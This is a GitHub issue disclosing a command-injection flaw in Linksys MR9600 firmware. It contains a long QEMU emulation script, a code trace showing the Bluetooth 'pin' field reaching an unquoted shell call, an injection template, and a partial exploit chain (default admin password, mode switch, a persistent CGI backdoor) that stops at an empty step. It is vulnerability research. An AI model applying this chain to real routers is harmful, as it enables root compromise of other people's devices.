New issue

# Linksys MR9600 BT Smart Connect Command Injection Vulnerability #2

Open

utmost3 opened 3 weeks ago Owner

**Firmware Download Link:**
**https://downloads.linksys.com/support/assets/firmware/FW_MR9600_2.0.6.206937_prod.img**

**Environment Setup**

- `run_qemu.sh` mainly boots the MR9600 firmware in QEMU and brings up the Web management interface. With just the firmware image and this script, the environment can be set up in one step. Access it via **your own IP on port 8080**.
- It first checks dependencies and decides whether a rebuild is needed, then extracts the UBIFS rootfs from the firmware, adds the required Debian arm64 kernel modules, writes a custom `/init` (to handle mounts, NIC configuration, runtime directory preparation, and `lighttpd` startup inside the VM), applies a set of emulation patches to JNAP/Lua/the frontend so interfaces or pages do not crash after login, and finally packs the rootfs into an initramfs and boots QEMU on a fixed subnet ( `192.168.100.0/24` ).

```
#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
FW_IMG_DEFAULT="$ROOT/FW_MR9600_2.0.6.206937_prod.img"
FW_IMG="${FW_IMG:-${1:-$FW_IMG_DEFAULT}}"

KERNEL_DIR="$ROOT/kernels"
KERNEL="$KERNEL_DIR/debian-bookworm-arm64-linux"
DEB_INITRD_GZ="$KERNEL_DIR/debian-bookworm-arm64-initrd.gz"
INITRD_OUT="$ROOT/httpd-initramfs.cpio.gz"

BUILD_ROOTFS="$ROOT/build_from_fw_rootfs"
UNPACK_DIR="$ROOT/unpack"
UBI_IMG="$UNPACK_DIR/fw_ubi.img"
INITRD_EXTRACT="$KERNEL_DIR/initrd_extract"
```

```
BUILD_REV_FILE="$ROOT/.build_rev"
BUILD_REV="mr9600-emu-r6-conservative-slim"

HOST_FWD_PORT_DEFAULT=8080
HOST_FWD_PORT_START="${HOST_FWD_PORT:-$HOST_FWD_PORT_DEFAULT}"
HOST_FWD_PORT_FINAL=""

log() { echo "[info] $*"; }
err() { echo "[err] $*" >&2; }
die() { err "$1"; exit 1; }

need_cmd() {
  command -v "$1" >/dev/null 2>&1 || {
    err "missing command: $1"
    err "install deps and retry: sudo apt install -y qemu-system-arm qemu-system-misc
binwalk p7zip-full cpio gzip curl ubireader kmod python3"
    exit 1
  }
}

need_build_tools() {
  local c
  for c in dd ubireader_extract_files curl cpio gzip awk find cp depmod qemu-system-
aarch64 python3; do
    need_cmd "$c"
  done
}

is_port_in_use() {
  local p="$1"
  ss -lntH 2>/dev/null | awk '{print $4}' | grep -Eq "[:.]${p}$"
}

pick_free_port() {
  local p="$1"
  local i=0
  while is_port_in_use "$p"; do
    p=$((p + 1))
    i=$((i + 1))
    [ "$i" -lt 100 ] || return 1
  done
  echo "$p"
}

download_if_missing() {
  local out="$1"
  local url="$2"
  [ -f "$out" ] || curl -L -o "$out" "$url"
}

patch_init_localize_rules() {
  local init_file="$1"
  [ -f "$init_file" ] || return 0

  if awk '
```

```
    BEGIN { replaced = 0; in_block = 0 }
    {
      if (!replaced && $0 ~ /^cgi\.assign = \($/) {
        print "cgi.assign = ("
        print "  \".cgi\" => \"\","
        print "  \".html\" => server.document-root + \"/ui/cgi/localize.cgi\","
        print "  \".json\" => server.document-root + \"/ui/cgi/localize.cgi\","
        print "  \".localized\" => server.document-root + \"/ui/cgi/localize.cgi\""
        print ")"
        replaced = 1
        in_block = 1
        next
      }
      if (in_block) {
        if ($0 ~ /^\)$/) {
          in_block = 0
        }
        next
      }
      print
    }
    END { if (!replaced) exit 42 }
  ' "$init_file" > "$init_file.new"; then
    mv "$init_file.new" "$init_file"
    chmod 755 "$init_file"
    return 0
  fi

  rm -f "$init_file.new"
  return 1
}

fix_exec_bits() {
  local rootfs="$1"
  local d
  local dirs_with_all_files="
    $rootfs/etc/system
    $rootfs/etc/init.d
    $rootfs/etc/registration.d
  "
  local top_bin_dirs="
    $rootfs/sbin
    $rootfs/bin
    $rootfs/usr/sbin
    $rootfs/usr/bin
  "

  for d in $dirs_with_all_files; do
    [ -d "$d" ] && find "$d" -type f -exec chmod 755 {} + 2>/dev/null || true
  done
  for d in $top_bin_dirs; do
    [ -d "$d" ] && find "$d" -maxdepth 1 -type f -exec chmod 755 {} + 2>/dev/null || true
  done

  [ -e "$rootfs/lib/ld-linux.so.3" ] && chmod 755 "$rootfs/lib/ld-linux.so.3" || true
  [ -e "$rootfs/lib/ld-2.26.so" ] && chmod 755 "$rootfs/lib/ld-2.26.so" || true
```

```
}

prepare_rootfs_from_firmware() {
  [ -f "$FW_IMG" ] || die "firmware not found: $FW_IMG"

  mkdir -p "$UNPACK_DIR"
  dd if="$FW_IMG" of="$UBI_IMG" bs=1024 skip=3840 status=none

  rm -rf "$UNPACK_DIR/ubifs_root"
  if ! ubireader_extract_files -o "$UNPACK_DIR/ubifs_root" "$UBI_IMG"
>/tmp/ubireader_extract.log 2>&1; then
    err "ubireader_extract_files failed"
    cat /tmp/ubireader_extract.log >&2
    exit 1
  fi

  local src_rootfs
  src_rootfs="$(find "$UNPACK_DIR/ubifs_root" -type d -path '*/rootfs_ubifs' | head -n1)"
  [ -n "$src_rootfs" ] || die "cannot find rootfs_ubifs under $UNPACK_DIR/ubifs_root"

  rm -rf "$BUILD_ROOTFS"
  cp -a "$src_rootfs" "$BUILD_ROOTFS"
}

prepare_kernel_and_modules() {
  mkdir -p "$KERNEL_DIR"
  download_if_missing "$KERNEL" \
    "https://deb.debian.org/debian/dists/bookworm/main/installer-
arm64/current/images/netboot/debian-installer/arm64/linux"
  download_if_missing "$DEB_INITRD_GZ" \
    "https://deb.debian.org/debian/dists/bookworm/main/installer-
arm64/current/images/netboot/debian-installer/arm64/initrd.gz"

  mkdir -p "$INITRD_EXTRACT"
  (
    cd "$INITRD_EXTRACT"
    rm -rf ./*
    gzip -dc "$DEB_INITRD_GZ" | cpio -idmu --quiet || true
  )

  mkdir -p "$BUILD_ROOTFS/lib"
  cp -a "$INITRD_EXTRACT/lib/modules" "$BUILD_ROOTFS/lib/"
  depmod -b "$BUILD_ROOTFS" 6.1.0-42-arm64 || true
}

write_init_file() {
  local rootfs="$1"
  mkdir -p "$rootfs"
  cat > "$rootfs/init" <<'EOINIT'
#!/bin/sh
export PATH=/sbin:/bin:/usr/sbin:/usr/bin

log() {
  echo "[init] $*" > /dev/console
}
```

```
mount -t devtmpfs devtmpfs /dev 2>/dev/null || mkdir -p /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts 2>/dev/null || true

# Firmware runtime dirs are tmp-backed; rebuild them in emu.
mkdir -p /tmp /tmp/var/run /tmp/var/log /tmp/var/config /tmp/devicedb /tmp/mnt /tmp/opt
/tmp/etc/.root
mkdir -p /var/run /var/log /var/config
# JNAP DHCP lease readers expect these paths to exist even when empty.
[ -e /etc/dnsmasq.leases ] || : > /etc/dnsmasq.leases
[ -e /tmp/dnsmasq.leases ] || ln -sf /etc/dnsmasq.leases /tmp/dnsmasq.leases

# Minimal passwd/shadow targets for symlinked /etc/passwd,/etc/shadow
[ -f /tmp/etc/.root/passwd ] || cat > /tmp/etc/.root/passwd <<'EOP'
root:x:0:0:root:/root:/bin/sh
EOP
[ -f /tmp/etc/.root/shadow ] || cat > /tmp/etc/.root/shadow <<'EOS'
root::10933:0:99999:7:::
EOS

# Fix execute bits often lost when extracting UBIFS.
for d in /etc/system /etc/init.d /etc/registration.d /etc/init.d/service_httpd /sbin /bin
/usr/sbin /usr/bin /www/ui/cgi /www/JNAP; do
  [ -d "$d" ] && find "$d" -maxdepth 1 -type f -exec chmod +x {} \; 2>/dev/null || true
done
[ -e /lib/ld-linux.so.3 ] && chmod +x /lib/ld-linux.so.3 2>/dev/null || true
[ -e /lib/ld-2.26.so ] && chmod +x /lib/ld-2.26.so 2>/dev/null || true

# Load virtio network stack from Debian installer modules.
for mod in virtio virtio_ring virtio_pci_modern_dev virtio_pci_legacy_dev virtio_pci
failover net_failover virtio_net; do
  modprobe "$mod" 2>/dev/null || true
done

NET_IF=""
for n in /sys/class/net/*; do
  b="$(basename "$n")"
  [ "$b" = "lo" ] && continue
  NET_IF="$b"
  break
done

if [ -n "$NET_IF" ]; then
  ip link set lo up 2>/dev/null || ifconfig lo up 2>/dev/null || true
  ip link set "$NET_IF" up 2>/dev/null || ifconfig "$NET_IF" up 2>/dev/null || true
  ip addr flush dev "$NET_IF" 2>/dev/null || true
  ip addr add 192.168.100.254/24 dev "$NET_IF" 2>/dev/null || ifconfig "$NET_IF"
192.168.100.254 netmask 255.255.255.0 up 2>/dev/null || true
  ip route replace default via 192.168.100.1 dev "$NET_IF" 2>/dev/null || route add
default gw 192.168.100.1 "$NET_IF" 2>/dev/null || true
  log "network configured: ${NET_IF}=192.168.100.254/24 gw=192.168.100.1"
else
  log "no non-loopback NIC found"
fi
```

```
# Boot the minimal event/config runtime required by JNAP.
if [ -x /sbin/syscfg_create ]; then
  /sbin/syscfg_create -f /tmp/syscfg.db >/tmp/var/log/syscfg_create.log 2>&1 || true
fi

if [ -x /sbin/syseventd ]; then
  /sbin/syseventd >/tmp/var/log/syseventd.log 2>&1 &
  sleep 1
fi

if [ -x /sbin/apply_system_defaults ]; then
  /sbin/apply_system_defaults >/tmp/var/log/apply_system_defaults.log 2>&1 || true
fi

if [ -x /sbin/sysevent ]; then
  /sbin/sysevent set lan-status started >/dev/null 2>&1 || true
  /sbin/sysevent set jnap-status ready >/dev/null 2>&1 || true
fi

# Start a stable web service from firmware lighttpd binary.
cat > /tmp/lighttpd-emu.conf <<'EOC'
server.document-root = "/www"
server.port = 80
server.bind = "0.0.0.0"
server.pid-file = "/tmp/var/run/lighttpd.pid"
server.errorlog = "/tmp/var/log/lighttpd-error.log"
server.modules = (
  "mod_redirect",
  "mod_rewrite",
  "mod_setenv",
  "mod_access",
  "mod_cgi",
  "mod_accesslog"
)
server.indexfiles = ( "index.html", "index.cgi", "fwupdate.html" )
accesslog.filename = "/tmp/var/log/lighttpd-access.log"
static-file.exclude-extensions = ( ".fcgi", ".properties", ".htpasswd", ".cgi" )
setenv.add-environment = ( "JNAP_CGI_MODULES_PATH" => "/JNAP/modules/lan" )

url.rewrite-once = (
  "^/$" => "/ui/local/dynamic/index.html",
  "^/favicon\\.ico$" => "/ui/local/static/favicon.ico",
  "^/ui/([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)(/.*)?$" => "/ui/local$2",
  "^/ui/dynamic/(.*)$" => "/ui/local/dynamic/$1",
  "^/ui/static/(.*)$" => "/ui/local/static/$1",
  "^/ui/ustatic/(.*)$" => "/ui/local/ustatic/$1",
  "^/JNAP/?$" => "/JNAP/index.cgi"
)

server.error-handler-404 = "/ui/local/dynamic/404.html"

cgi.assign = (
  ".cgi" => "",
  ".localized" => server.document-root + "/ui/cgi/localize.cgi"
)
```

```
mimetype.assign = (
  ".html" => "text/html",
  ".htm" => "text/html",
  ".css" => "text/css",
  ".js" => "application/javascript",
  ".json" => "application/json",
  ".png" => "image/png",
  ".jpg" => "image/jpeg",
  ".jpeg" => "image/jpeg",
  ".gif" => "image/gif",
  ".ico" => "image/x-icon",
  "" => "application/octet-stream"
)
EOC

[ -d /www/ui/local ] && {
  mkdir -p /www/ui/1.0.99.206937
  [ -e /www/ui/1.0.99.206937/static ] || ln -s ../local/static
/www/ui/1.0.99.206937/static
  [ -e /www/ui/1.0.99.206937/dynamic ] || ln -s ../local/dynamic
/www/ui/1.0.99.206937/dynamic
  [ -e /www/ui/local/static/cache ] || ln -s . /www/ui/local/static/cache
  [ -e /www/ui/dynamic ] || ln -s local/dynamic /www/ui/dynamic
  [ -e /www/ui/static ] || ln -s local/static /www/ui/static
  [ -e /www/ui/ustatic ] || ln -s local/ustatic /www/ui/ustatic
}

[ -f /www/index.html ] || [ ! -f /www/ui/local/dynamic/index.html ] || cp
/www/ui/local/dynamic/index.html /www/index.html

if [ -x /usr/sbin/lighttpd ]; then
  /usr/sbin/lighttpd -f /tmp/lighttpd-emu.conf >/tmp/lighttpd.stdout
2>/tmp/lighttpd.stderr
  sleep 1
  if pidof lighttpd >/dev/null 2>&1; then
    log "lighttpd started on :80"
  else
    log "lighttpd failed"
    [ -f /tmp/lighttpd.stderr ] && cat /tmp/lighttpd.stderr > /dev/console
  fi
fi

log "boot finished, dropping to shell"
exec /bin/sh
EOINIT
  chmod 755 "$rootfs/init"
}

patch_jnap_modules() {
  local rootfs="$1"
  local dev="$rootfs/JNAP/modules/devicelist_server.lua"
  local nc="$rootfs/JNAP/modules/networkconnections_server.lua"

  python3 - "$dev" "$nc" <<'PY'
import pathlib, sys
```

```
dev = pathlib.Path(sys.argv[1])
nc = pathlib.Path(sys.argv[2])

def replace_once(text, old, new, marker):
    if marker in text:
        return text
    if old not in text:
        raise SystemExit(f"missing patch anchor: {marker}")
    return text.replace(old, new, 1)

if dev.exists():
    s = dev.read_text(encoding='utf-8', errors='surrogateescape')
    old_getdevices3 = """local function GetDevices3(ctx, input)
    local devicelist = require('devicelist')

    local sc = ctx:sysctx()

    -- Register the logging callback for this action.
    require('platform').registerLoggingCallback(function(level, message)
ctx:serverlog(level, message) end)

    return devicelist.getDevices(sc, input, 2)
end"""
    new_getdevices3 = """local function GetDevices3(ctx, input)
    local devicelist = require('devicelist')

    local sc = ctx:sysctx()

    -- Register the logging callback for this action.
    require('platform').registerLoggingCallback(function(level, message)
ctx:serverlog(level, message) end)

    local function emulatedAuthorityDevice(revision)
        local hdk = require('libhdklua')
        return {
            deviceID = hdk.uuid('00000000-0000-0000-0000-000000000001'),
            lastChangeRevision = revision or 0,
            model = {
                deviceType = 'Infrastructure',
                manufacturer = 'Linksys',
                modelNumber = 'MR9600',
                hardwareVersion = '1.0',
                description = 'MR9600 Router'
            },
            unit = {
                serialNumber = 'EMU00000001',
                firmwareVersion = '2.0.6.206937',
                firmwareDate = 0,
                operatingSystem = 'Linux'
            },
            friendlyName = 'MR9600',
            isAuthority = true,
            properties = {},
            maxAllowedProperties = 16,
            knownInterfaces = {},
```

```
            connections = {},
            nodeType = 'Master'
        }
    end

    local function ensureAuthorityDevice(output)
        local hasAuthority = false
        for _, device in ipairs(output.devices) do
            if device and device.isAuthority then
                hasAuthority = true
                break
            end
        end
        if not hasAuthority then
            table.insert(output.devices, emulatedAuthorityDevice(output.revision))
        end
    end

    local ok, result, output = pcall(devicelist.getDevices, sc, input, 2)
    if not ok then
        ctx:serverlog('error', 'GetDevices3 failure: ' .. tostring(result))
        output = {
            devices = {},
            revision = (input and input.sinceRevision) or 0,
            deletedDeviceIDs = {}
        }
        ensureAuthorityDevice(output)
        return 'OK', output
    end

    if result ~= 'OK' or type(output) ~= 'table' then
        output = {
            devices = {},
            revision = (input and input.sinceRevision) or 0,
            deletedDeviceIDs = {}
        }
        ensureAuthorityDevice(output)
        return 'OK', output
    end

    if type(output.devices) ~= 'table' then
        output.devices = {}
    end
    if output.revision == nil then
        output.revision = (input and input.sinceRevision) or 0
    end
    if type(output.deletedDeviceIDs) ~= 'table' then
        output.deletedDeviceIDs = {}
    end

    ensureAuthorityDevice(output)
    return result, output
end"""
    s = replace_once(s, old_getdevices3, new_getdevices3, "local function
emulatedAuthorityDevice(revision)")
    dev.write_text(s, encoding='utf-8', errors='surrogateescape')
```

```
if nc.exists():
    s = nc.read_text(encoding='utf-8', errors='surrogateescape')
    old_fn1 = """local function GetNetworkConnections(ctx, input)
    local networkconnections = require('networkconnections')

    local sc = ctx:sysctx()

    local connections = networkconnections.getNetworkConnections(sc, input.macAddresses,
false)

    -- Remove the mode member from the wireless connections. It is not expected in the
output.
    for _, connection in ipairs(connections) do
        if connection.wireless then
            connection.wireless.mode = nil
        end
    end
    return 'OK', {
        connections = connections
    }
end"""
    new_fn1 = """local function GetNetworkConnections(ctx, input)
    -- Emulation mode: avoid backend dependency stalls and return a schema-valid empty
list.
    return 'OK', {
        connections = {}
    }
end"""
    old_fn2 = """local function GetNetworkConnections2(ctx, input)
    local networkconnections = require('networkconnections')

    local sc = ctx:sysctx()

    local connections = networkconnections.getNetworkConnections(sc, input.macAddresses,
true)

    -- Remove the mode member from the wireless connections. It is not expected in the
output.
    for _, connection in ipairs(connections) do
        if connection.wireless then
            connection.wireless.mode = nil
        end
    end
    return 'OK', {
        connections = connections
    }
end"""
    new_fn2 = """local function GetNetworkConnections2(ctx, input)
    -- Emulation mode: avoid backend dependency stalls and return a schema-valid empty
list.
    return 'OK', {
        connections = {}
    }
end"""
    s = replace_once(s, old_fn1, new_fn1, "schema-valid empty list")
```

```
    s = replace_once(s, old_fn2, new_fn2, "local function GetNetworkConnections2(ctx,
input)\n    -- Emulation mode: avoid backend dependency stalls and return a schema-valid
empty list.")
    nc.write_text(s, encoding='utf-8', errors='surrogateescape')
PY

  [ -f "$dev" ] && chmod 664 "$dev" || true
  [ -f "$nc" ] && chmod 664 "$nc" || true
}

patch_platform_ready() {
  local f="$1/usr/local/lib/lua/5.1/platform.lua"
  [ -f "$f" ] || return 0

  python3 - "$f" <<'PY'
import pathlib, sys
p = pathlib.Path(sys.argv[1])
s = p.read_text(encoding='utf-8', errors='surrogateescape')
old = "function _M.isDeviceReady(sc, services)\n    return sc:is_device_ready()\nend"
new = "function _M.isDeviceReady(sc, services)\n    -- Emulation mode: bypass full
platform readiness dependencies.\n    return true\nend"
if old in s:
    s = s.replace(old, new, 1)
p.write_text(s, encoding='utf-8', errors='surrogateescape')
PY
}

patch_index_redirect() {
  local f="$1/www/ui/local/dynamic/index.html"
  [ -f "$f" ] || return 0

  python3 - "$f" <<'PY'
import pathlib, sys
p = pathlib.Path(sys.argv[1])
s = p.read_text(encoding='utf-8', errors='surrogateescape')
old = """                            if (isBehindNode) {

RAINIER.shared.util.checkIfNodeConfigured(function(isConfigured) {
                                    var blockingUrl =
'/ui/1.0.99.206937/dynamic/velop/blocking.html';

                                    console.warn('isConfigured', isConfigured);

                                    if (window.location.hash === '#casupport') {
                                        if (isBlocked) {
                                            setUnsecuredWarningOff();
                                        } else {
                                            loginRedirectChecks();
                                        }

                                        return;
                                    }

                                    // if the unit is already configured then add #m to
the url so the blocking
                                    // page will show the configured text
```

```
                                    if (isConfigured) {
                                        blockingUrl += '#m';
                                    }

                                    window.location.replace(blockingUrl);
                                });
                            } else {
                                loginRedirectChecks();
                            }"""
new = """                            // Emulation mode: route browser flow to web login
page even for node-capable images.
                            if (isBehindNode && window.location.hash === '#casupport' &&
isBlocked) {
                                setUnsecuredWarningOff();
                                return;
                            }
                            loginRedirectChecks();"""
if old in s:
    s = s.replace(old, new, 1)
p.write_text(s, encoding='utf-8', errors='surrogateescape')
PY
}

patch_js_runtime_guards() {
  local rootfs="$1"
  python3 - "$rootfs" <<'PY'
import hashlib, json, pathlib, sys

root = pathlib.Path(sys.argv[1])

patches = {
  "www/ui/local/static/applets/device_list/js/widget.js": {
    "orig_sha256": "2db16c66e8b1775936282991a447e610d1562bfa4e388c3680f77b086c8ed3ca",
    "new_sha256": "aaaf5ad5ff86923243ecfe000b7dbafc1cf06a5b0688951236add85dd447b8d9",
    "ops": [
      [64, 64, "f=f||[];"],
      [1048, 1048, "!!(h&&"],
      [1071, 1071, ")"]
    ]
  },
  "www/ui/local/static/applets/external_storage/js/widget.js": {
    "orig_sha256": "b001390952c544fa7b190c93d5d34f83e06fe5006d89c1f596e48299667b4aab",
    "new_sha256": "9b406f90b88ec7f617acd01b4b5d48c9893c9afdd795b5902d6b04f9510e8559",
    "ops": [
      [936, 936, "(r.output&&"],
      [957, 957, ")||[]"],
      [981, 993, "var u"],
      [1033, 1033, ";t"],
      [1044, 1044, "=u?u.deviceName:\"\""],
      [1285, 1285, "||[]"],
      [1506, 1506, "||[]"],
      [1675, 1675, "("],
      [1705, 1705, "||[])"],
    ]
  },
  "www/ui/local/static/applets/guest_access/js/widget.js": {
```

```
    "orig_sha256": "ccf8c0d96cb86fef4ae3a0fc39779a9104ca0acbc442f992bc3080af7ecf68c0",
    "new_sha256": "0de36e459c1661f37f83b629c74877b4a78c0f49ca8cb5d289397f111e815c6d",
    "ops": [
      [1041, 1041, "var y=(u.output&&u.output.radios)||[];"],
      [1048, 1063, "y"],
    ]
  },
  "www/ui/local/static/applets/media_prioritization/js/media-prioritization-common.js": {
    "orig_sha256": "81be5f2850f5e726c16a58d589ad41cb512227c5a38570484dc0e1db405e0b9c",
    "new_sha256": "22e4a437954186e96f17a814cf3379bb6fd1838dfd56e24887ae2e7f246c9e5f",
    "ops": [
      [1325, 1331, "if(!"],
      [1332, 1332, "||typeof z"],
      [1350, 1359, "!==\"function\"){return}var A=z.getCustomProperty(c);if(A){try"],
      [1414, 1414, "}catch(B){}"],
      [2123, 2123, "y=y||[];z=z||[];"],
      [4670, 4670, "w=w||[];"],
    ]
  },
  "www/ui/local/static/js/devices.js": {
    "orig_sha256": "7c81f8977a737249cefe495f9ae43caf270148a43fee6d1287ae0774d2c64d3f",
    "new_sha256": "d01175381de28f6643863416f1638d8325860eac47f4da61bf83df1ea4528bb6",
    "ops": [
      [13820, 13822, "I=I||{};r=!!"],
      [13928, 13931, " {d=!!"],
    ]
  },
  "www/ui/local/static/js/dhcp-reservations-util.js": {
    "orig_sha256": "ea45f74b1b995757eafcf20b275f6ad68a0a95f3190669d695272e8f1a693b70",
    "new_sha256": "5cb34070eb92546fe6196e5435c02d8f3402a97dfc764f254f1a34c544cca89d",
    "ops": [
      [2443, 2443, "=o.lanSettings.dhcpSettings||{};o.lanSettings.dhcpSettings"],
      [2474, 2474, "(("],
      [2482, 2509, ""],
      [2513, 2573, ").dhcpSettings||{}).reservations||"],
      [2575, 2615, ");o.lanSettingsSetup.dhcpSettings=o.lanSettingsSetup.dhcpSettings||
{};o.lanSettingsSetup.dhcpSettings.reservations=$.extend(true,
[],o.lanSettings.dhcpSettings.reservations||[]"],
      [3120, 3120, ";o.dhcpLease.leases=o.dhcpLease.leases||[]"],
      [7684, 7684, "||[]"],
      [7851, 7895, "((o.lanSettingsSetup.dhcpSettings||{}).reservations||[])"],
      [8409, 8448, "((o.lanSettings.dhcpSettings||{}).reservations||[])"],
      [8741, 8785, "((o.lanSettingsSetup.dhcpSettings||{}).reservations||[])"],
      [10665, 10665, "=o.lanSettingsSetup.dhcpSettings||
{};o.lanSettingsSetup.dhcpSettings"],
      [10735, 10735, "||[]"],
      [11536, 11575, "((o.lanSettings.dhcpSettings||{}).reservations||[])"],
      [11677, 11716, "((o.lanSettings.dhcpSettings||{}).reservations||[])"],
    ]
  }
}


def sha256(s: str) -> str:
  return hashlib.sha256(s.encode('utf-8', 'surrogateescape')).hexdigest()
```

```
def apply_ops(src: str, ops):
  out = []
  pos = 0
  for i1, i2, rep in ops:
    out.append(src[pos:i1])
    out.append(rep)
    pos = i2
  out.append(src[pos:])
  return ''.join(out)

for rel, patch in patches.items():
  p = root / rel
  if not p.exists():
    continue

  raw = p.read_text(encoding='utf-8', errors='surrogateescape')
  cur = sha256(raw)

  if cur == patch['new_sha256']:
    continue

  if cur != patch['orig_sha256']:
    raise SystemExit(f"unexpected content hash for {rel}: {cur}")

  new = apply_ops(raw, patch['ops'])
  new_hash = sha256(new)
  if new_hash != patch['new_sha256']:
    raise SystemExit(f"patch output hash mismatch for {rel}: {new_hash}")

  p.write_text(new, encoding='utf-8', errors='surrogateescape')
PY
}

apply_emulation_fixes() {
  log "applying emulation fixes"

  write_init_file "$BUILD_ROOTFS"
  patch_jnap_modules "$BUILD_ROOTFS"
  patch_platform_ready "$BUILD_ROOTFS"
  patch_index_redirect "$BUILD_ROOTFS"
  patch_js_runtime_guards "$BUILD_ROOTFS"

  chmod 755 "$BUILD_ROOTFS/init"
  patch_init_localize_rules "$BUILD_ROOTFS/init" || die "failed to patch localization cgi
rules in $BUILD_ROOTFS/init"
  fix_exec_bits "$BUILD_ROOTFS"
}

pack_initramfs() {
  log "packing initramfs"
  (
    cd "$BUILD_ROOTFS"
    find . -print0 | cpio --null -o --format=newc --owner=0:0 | gzip -9 > "$INITRD_OUT"
  )
}
```

```
bootstrap_if_needed() {
  local force="${FORCE_REBUILD:-0}"
  local current_rev=""
  current_rev="$(cat "$BUILD_REV_FILE" 2>/dev/null || true)"

  local need_build=0
  [ "$force" = "1" ] && need_build=1
  [ -f "$KERNEL" ] || need_build=1
  [ -f "$INITRD_OUT" ] || need_build=1
  [ -d "$BUILD_ROOTFS" ] || need_build=1
  [ "$current_rev" = "$BUILD_REV" ] || need_build=1

  [ "$need_build" -eq 1 ] || return 0

  need_build_tools
  if [ "$current_rev" != "$BUILD_REV" ] && [ -n "$current_rev" ]; then
    log "build revision changed: $current_rev -> $BUILD_REV"
  fi
  log "build required, preparing rootfs from firmware"

  prepare_rootfs_from_firmware
  prepare_kernel_and_modules
  apply_emulation_fixes
  pack_initramfs

  printf '%s\n' "$BUILD_REV" > "$BUILD_REV_FILE"
  log "build complete"
}

resolve_host_port() {
  if [ "${HOST_FWD_PORT+x}" = "x" ]; then
    if is_port_in_use "$HOST_FWD_PORT_START"; then
      err "host port $HOST_FWD_PORT_START is already in use"
      err "run with another port, e.g. HOST_FWD_PORT=18080 ./run_qemu.sh"
      exit 1
    fi
    HOST_FWD_PORT_FINAL="$HOST_FWD_PORT_START"
    return
  fi

  HOST_FWD_PORT_FINAL="$(pick_free_port "$HOST_FWD_PORT_START")" || die "cannot find a
free host forwarding port near $HOST_FWD_PORT_START"
  if [ "$HOST_FWD_PORT_FINAL" != "$HOST_FWD_PORT_START" ]; then
    log "host port $HOST_FWD_PORT_START is busy, using $HOST_FWD_PORT_FINAL instead"
  fi
}

print_access_info() {
  local host_ip
  host_ip="$(hostname -I 2>/dev/null | awk '{print $1}')"
  log "guest net: 192.168.100.254/24, gateway: 192.168.100.1"
  log "guest web ip: http://192.168.100.254/"
  if [ -n "${host_ip:-}" ]; then
    log "host access (port forward): http://${host_ip}:${HOST_FWD_PORT_FINAL}/"
  else
```

```
    log "host access (port forward): tcp/${HOST_FWD_PORT_FINAL} -> 192.168.100.254:80"
  fi
}

launch_qemu() {
  exec qemu-system-aarch64 \
    -M virt -cpu cortex-a53 -smp 2 -m 1536 -nographic \
    -kernel "$KERNEL" \
    -initrd "$INITRD_OUT" \
    -append "console=ttyAMA0 rdinit=/init panic=0" \
    -netdev
user,id=n0,net=192.168.100.0/24,host=192.168.100.1,hostfwd=tcp::${HOST_FWD_PORT_FINAL}-192.16
\
    -device virtio-net-pci,netdev=n0
}

main() {
  bootstrap_if_needed
  [ -f "$KERNEL" ] || die "missing $KERNEL"
  [ -f "$INITRD_OUT" ] || die "missing $INITRD_OUT"
  resolve_host_port
  print_access_info
  launch_qemu
}

main "$@"
```

## Identifying the Vulnerability

The actual vulnerable entry point in JNAP is:

- `FW_MR9600_2.0.6.206937_prod.img-0.extracted/ubifs-root/143399459/rootfs_ubifs/usr/local/lib/lua/5.1/btsmartconnect.lua`

Key logic:

```
function _M.btRequestGetSmartConnectStatus(sc, input)
    sc:readlock()

    local mode = sc:get_smartmode()
    if not bluetooth.isCentral(mode) then
        return 'ErrorBTUnsupportedMode'
    end

    if bluetooth.btCheckCentralWorking() then
        return 'ErrorBTCentralAlreadyWorking'
    end

    local status = sc:get_btgetsmartconnectstatus_status()
    if status == 'Running' then
        return 'ErrorBTGetSmartConnectStatusRequestIsAlreadyInProgress'
    end
```

```
    local ret = bluetooth.btGetSmartConnectStatus2(input.pin)
    if not ret then
        return 'ErrorBTRequestFailed'
    end

    return nil
end
```

The most important line here is:

```
bluetooth.btGetSmartConnectStatus2(input.pin)
```

This shows:

- The `pin` in the HTTP request
- Is passed directly into `btGetSmartConnectStatus2()`

In other words, `pin` is a genuinely attacker-controlled input in this data flow, so the next step is simply to keep tracing `btGetSmartConnectStatus2(pin)` and see exactly how `pin` is used.

---

## Concatenated Into a Shell Command

Continue tracing into: `FW_MR9600_2.0.6.206937_prod.img-0.extracted/ubifs-root/143399459/rootfs_ubifs/usr/local/lib/lua/5.1/bluetooth.lua`
Core code:

```
_M.RUN_CENTRAL2_CMD = '/etc/init.d/run_central2.sh %s &'

local function btRunCentralCommand2(option, value)
    assert(option)

    local requestId
    local command = option

    if value then
        command = command..' '..value
    end

    local file = io.popen(_M.RUN_CENTRAL2_CMD:format(command))
    if file then
        requestId = file:read()
        file:close()
    else
        return nil
    end
```

```
    return requestId
end
```

And `btGetSmartConnectStatus2(pin)` is only:

```
function _M.btGetSmartConnectStatus2(pin)
    return btRunCentralCommand2('-s', pin)
end
```

Combining the two snippets gives:

```
pin
-> btGetSmartConnectStatus2(pin)
-> btRunCentralCommand2('-s', pin)
-> command = "-s " + pin
-> io.popen("/etc/init.d/run_central2.sh " + command + " &")
```

So the final command executed is:

```
/etc/init.d/run_central2.sh -s <pin> &
```

## Command Execution

Trace further into: `FW_MR9600_2.0.6.206937_prod.img-0.extracted/ubifs-root/143399459/rootfs_ubifs/etc/init.d/run_central2.sh`

Relevant part:

```
#!/bin/sh
REQUEST_ID=$$_$(date -u +%s)
OPTION="$1 $2"
...
/usr/bin/btsetup_central $OPTION > $OUTFILE 2>/dev/null
```

The vulnerability lies here:

```
OPTION="$1 $2"
/usr/bin/btsetup_central $OPTION
```

That is:

- `$1` and `$2` are first concatenated into `OPTION`
- But when it is actually executed, `$OPTION` is expanded **without quotes**

This means that if we control the second argument, namely `pin`, as:

```
a; <arbitrary command>; #
```

Then the shell actually executes:

```
/usr/bin/btsetup_central -s a; <arbitrary command>; #
```

## Full Chain

```
Step 1
The default password `admin` works

Step 2
The vulnerable function requires the device to be in `Master` mode, so the mode must be
switched first.

Step 3
Only after the mode requirement is satisfied can `BTRequestGetSmartConnectStatus` reach
the execution path that uses `input.pin`.

Step 4
`pin` is concatenated into the shell command executed by `io.popen()`, which gives us root
command execution.

Step 5
Write a helper CGI to turn a one-shot injection into a stable entry point

Step 6
